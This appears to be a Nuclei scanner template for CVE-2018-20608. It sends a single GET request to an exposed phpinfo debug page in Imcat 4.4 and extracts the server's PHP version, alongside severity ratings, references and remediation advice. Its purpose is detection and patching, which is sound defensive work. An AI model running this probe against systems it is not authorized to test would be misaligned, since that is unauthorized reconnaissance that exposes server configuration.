id: CVE-2018-20608

info:
  name: Imcat 4.4 - Phpinfo Configuration
  author: ritikchaddha
  severity: high
  description: Imcat 4.4 allows remote attackers to read phpinfo output via the root/tools/adbug/binfo.php?phpinfo1 URI.
  impact: |
    The vulnerability can lead to the exposure of sensitive information, such as server configuration details.
  remediation: |
    Update Imcat to the latest version or apply the necessary patches to fix the Phpinfo Configuration vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20608
    - https://github.com/SexyBeast233/SecBooks
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-20608
    cwe-id: CWE-200
    epss-score: 0.0111
    epss-percentile: 0.84208
    cpe: cpe:2.3:a:txjia:imcat:4.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: txjia
    product: imcat
  tags: cve2018,cve,imcat,phpinfo,config,txjia

http:
  - method: GET
    path:
      - "{{BaseURL}}/imcat/root/tools/adbug/binfo.php?phpinfo1"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'
        part: body
# digest: 4b0a004830460221009a172bf2d6f5205be1210274d0b843b9ed22d1642071ca1ef3f3a640f8041c9d022100965b93625f3e57ec307aa6beaba6e21a873855c77fcf4b7c48c63029bb2fffc3:922c64590222798bb761d5b6d8e72950